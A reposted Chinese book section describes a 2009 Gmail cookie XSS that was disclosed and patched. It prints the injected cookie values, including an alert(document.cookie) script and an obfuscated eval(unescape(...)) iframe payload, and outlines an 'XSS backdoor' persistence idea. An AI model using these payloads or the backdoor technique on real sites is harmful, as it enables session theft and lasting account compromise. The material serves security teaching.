文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
6.8 其他案例分享——Gmail Cookie XSS
FireCookie是Firefox浏览器扩展FireBug的一个插件,专门用于Cookie的各种操作,非常方便。
本书的第二作者xisigr在2009年发现https://mail.google.com/support中存在一个Cookie XSS漏洞,当时用FireCookie进行编辑,把gmail_kimt_exp值改为:
')</script><script>alert(document.cookie)</script>
然后打开http://mail.google.com/support路径下的任何一个页面,查看HTTP源代码,发现嵌入了如下代码:
<script type="text/javascript"> urchinTracker('/support/? hl=en&experiment=')</script><script>alert (document.cookie)</script>'); </script>
漏洞成因是Gmail的Cookie参数gmail_kimt_exp不进行任何过滤就直接输出到页面中,导致出现XSS漏洞。这里要说明的是,Cookie参数值中不允许有空格存在,所以你在需要用到空格的时候要进行编码,比如:
gmail_kimt_exp=')</script><script> eval(unescape("%64%6F%63%75%6D%65%6E%74%2E %77%72%69%74%65%28%27% 3C%69%66%72%61%6D%65%20%73%72%63%3D %68%74%74%70%3A%2F%2F%77%77%7 7%2E%67%6F%6F%67%6C%65%2E%63%6E%3E%3C%2F %69%66%72%61%6D%65%3E%27 %29%3B")) </script>
这个漏洞通知Google后已经修复,对特殊字符进行过滤:
<script type="text/javascript"> urchinTracker('/support/?hl=cn&experiment= \x27)\x3C\x2Fscript\x3E \x3Cscript\x3Ealert(1)\x3C\x2Fscript\x3E'); </script>
题外话:这个Cookie XSS的价值在哪里?实际上,如果仅仅是Cookie XSS本身几乎是没价值的,因为攻击者很难事先改写你的Cookie。但是如果结合Gmail的其他XSS,比如一个反射型XSS,这个Cookie XSS的价值就可以发挥出来了。攻击者可以通过这个反射型XSS将Payload写到Cookie中,只要Cookie不清除,即使反射型XSS被修补了,那么每次用户进入Gmail的时候,Cookie XSS都可以触发,这就留下了一个后门,我们把这个叫做XSS Backdoor。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论